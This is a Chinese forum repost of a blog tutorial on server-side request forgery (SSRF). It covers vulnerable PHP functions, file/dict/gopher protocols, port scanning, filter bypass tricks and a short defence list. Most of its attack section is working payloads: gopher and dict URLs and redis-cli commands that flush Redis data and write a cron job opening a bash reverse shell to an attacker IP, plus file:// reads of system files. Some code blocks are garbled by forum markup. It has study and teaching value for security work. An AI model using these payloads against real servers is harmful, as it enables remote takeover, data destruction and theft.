ssrf实战

打印 上一主题 下一主题

主题 550|帖子 550|积分 1650

一、ssrf原理


  • 服务器端请求伪造(SSRF)是指攻击者能够从易受攻击的Web应用程序发送精心设计的请求的对其他网站进行攻击。(利用一个可发起网络请求的服务当作跳板来攻击其他服务)
  • 攻击者能够利用目标帮助攻击者访问其他想要攻击的目标
  • 攻击者要求服务器为他访问URL

二、漏洞利用

1.创建一个包含ssrf的页面

将下面的代码文件放到网站根目录,然后命名为ssrf.php
  1. [/code][b]构造payload为ssrf.php?url=www.baidu.com[/b]
  2. [b]可以看到跳转到百度页面[/b]
  3. [img]https://cdn.nlark.com/yuque/0/2022/png/29626537/1666684852637-38e1f274-79bc-4f6a-a02d-08663d9e38db.png[/img]
  4. [size=5]2.造成ssrf的函数[/size]
  5. [size=4]a、file_get_contents()[/size]
  6. 这一函数是把 **传入的参数(变量)**写入字符串,当把 传参是内网文件的时候,会先去吧这个文件的内容读出来再写入,导致了任意文件读取,也就是信息泄露的一种。一般这种攻击也与目录遍历相结合。
  7. [code]
复制代码
构造如下payload:
http://10.101.32.228/ssrf.php?url=file://c:\windows\system32\drivers\etc\hosts

b、fsockopen()

fsockopen($hostname,$port,$errno,$errstr,$timeout)用于打开一个网络连接或者一个 Unix 套接字连接,初始化一个套接字连接到指定主机(hostname),实现对用户指定 url 数据的获取。该函数会使用 socket 跟服务器建立 tcp 连接,进行传输原始数据。 fsockopen() 将返回一个文件句柄,之后可以被其他文件类函数调用(例如:fgets(),fgetss(),fwrite(),fclose()还有feof())如果调用失败,将返回false。
测试代码:
  1. [/code][img]https://cdn.nlark.com/yuque/0/2022/png/29626537/1666687022043-1d7b2e71-d04f-48b8-be47-272f38ffe065.png[/img]
  2. [size=4]c、curl_exec()[/size]
  3. curl_init(url) 函数初始化一个新的会话,返回一个 cURL 句柄,供curl_setopt(),curl_exec()和curl_close()函数使用。
  4. 测试代码:
  5. [code]
复制代码
3.相关的协议

a、file协议

paylaod:
file:///etc/password # file:// 之后可以接任意文件
b、dict协议

利用dict协议,dict://ip/info可获取本地redis服务配置信息。
c、gopher 协议

协议格式:URL:gopher://:/_后接TCP数据流

  • gopher的默认端口是70
  • 如果发起post请求,回车换行需要使用%0d%0a,如果多个参数,参数之间的&也需要进行URL编码
使用gopher发送HTTP数据包:

  • 构造HTTP数据包
  • URL编码、替换回车换行为%0d%0a
  • 发送gopher协议
  • 如果发送post请求的话有四个参数是必须的
三、攻击内网

1.扫描端口


用burp抓包,然后对端口进行爆破,



2.利用gopher攻击redis

通过【curl命令】和【gopher协议】伪造post请求
假设一个存在ssrf的页面
  1. <html>
  2. <head>
  3.     <title>post</title>
  4. </head>
  5. <body>
  6.     <?php
  7.     echo $_REQUEST[cmd];
  8.     ?>
  9. </body>
  10. </html>
复制代码
post请求有四个必要参数:
  1. POST /ssrf.php HTTP1.1
  2. Host: 10.101.32.228
  3. User-Agent:curl/7.61.1
  4. Content-Length:7
  5. Content-Type:application/x-www-form-urlencoded
  6. cmd=aaa
复制代码
利用gopher和curl发送数据:通过SSRF漏洞同样可以利用gopher协议对内网系统进行POST请求,不过首先需要查看下【phpinfo】,确认curl是enabled,并且需要确认下当前的curl版本是否支持gopher协议。
  1. curl -v 'gopher://10.101.32.228:80/_POST%20%2fssrf.php%20HTTP/1.1%0D%0AHost:%2010.101.32.228%0D%0AUser-Agent:%20curl/7.61.1%0D%0AContent-Length:7%0D%0AContent-Type:%20application/x-www-form-urlencoded%0D%0A%0D%0Acmd=aaa'
复制代码
查看服务器日志发现确实有post请求

示例环境:
既然利用curl+gopher可以伪造数据包,那么就可以把存在ssrf的web服务器当作一个跳板去访问内网,
首先RESP协议:redis服务器和客户端通讯的协议
格式:
  1. *3           #表示有三个命令
  2. $3           #表示这个命令有几个字符
  3. set
  4. $3
  5. ttt
  6. $69
  7. */1 * * * * bash -i >& /dev/tcp/xxx.xx.xxx.xx/1444 0>&1
复制代码
常用攻击redis命令:
  1. redis-cli -h $1 flushall
  2. echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/45952 0>&1\n\n"|redis-cli -h $1 -x set 1
  3. redis-cli -h $1 config set dir /var/spool/cron/
  4. redis-cli -h $1 config set dbfilename root
  5. redis-cli -h $1 save
  6. //redis-cli查看所有的keys及清空所有的数据
复制代码
将上面的命令转化成为resp协议的格式,然后进行两次编码(因为后面解析gopher要两次解码),之后用gopher协议去攻击
所以可以构造如下的url:
http://192.168.43.123/ssrf.php?url=gopher://192.168.43.129:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/192.168.43.132/3333 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0
然后在攻击方开启监听: nv -lvp 3333
或者可以使用dict协议反弹shell
  1. dict://x.x.x.x:6379/<Redis 命令>
复制代码
  1. # 清空 key
  2. dict://192.168.43.129:6379/flushall
  3. # 设置要操作的路径为定时任务目录
  4. dict://192.168.43.129:6379/config set dir /var/spool/cron/
  5. # 在定时任务目录下创建 root 的定时任务文件
  6. dict://192.168.43.129:6379/config set dbfilename root
  7. # 写入 Bash 反弹 shell 的 payload
  8. dict://192.168.43.129:6379/set x "\n* * * * * /bin/bash -i >%26 /dev/tcp/x.x.x.x/2333 0>%261\n"
  9. # 保存上述操作
  10. dict://192.168.43.129:6379/save
复制代码
四、绕过与防御

1.绕过
  1. 1、访问http://baidu.com@127.0.0.1和http://127.0.0.1一样
  2. 2、进制绕过
  3. 字符串:       10.0.0.3
  4. 二进制:       00001010 . 00000000 . 00000000 . 00000011
  5. 十六进制:    0A.00.00.03
  6. 整数:       167772163
  7. 3、句号绕过:127。0。0。1
  8. 4、xip.io绕过
  9. 10.0.0.1.xip.io # 解析到 10.0.0.1
  10. www.10.0.0.2.xip.io # www 子域解析到 10.0.0.2
  11. mysite.10.0.0.3.xip.io # mysite 子域解析到 10.0.0.3
  12. foo.bar.10.0.0.4.xip.io # foo.bar 子域解析到 10.0.0.4
  13. 10.0.0.1.xip.name # 解析到 10.0.0.1
  14. 5、利用[::]绕过localhost
复制代码
2.防御


  • 禁止302跳转,或者每跳转一次都进行校验目的地址是否为内网地址或合法地址。
  • 过滤返回信息,验证远程服务器对请求的返回结果,是否合法。
  • 禁用高危协议,例如:gopher、dict、ftp、file等,只允许http/https
  • 设置URL白名单或者限制内网IP
  • 限制请求的端口为http的常用端口,或者根据业务需要治开放远程调用服务的端口
  • catch错误信息,做统一错误信息,避免黑客通过错误信息判断端口对应的服务
出处:http://www.cnblogs.com/-xiaopeng1/本文版权归作者和博客园共有,欢迎转载,但必须给出原文链接,并保留此段声明,否则保留追究法律责任的权利。
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

用多少眼泪才能让你相信

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表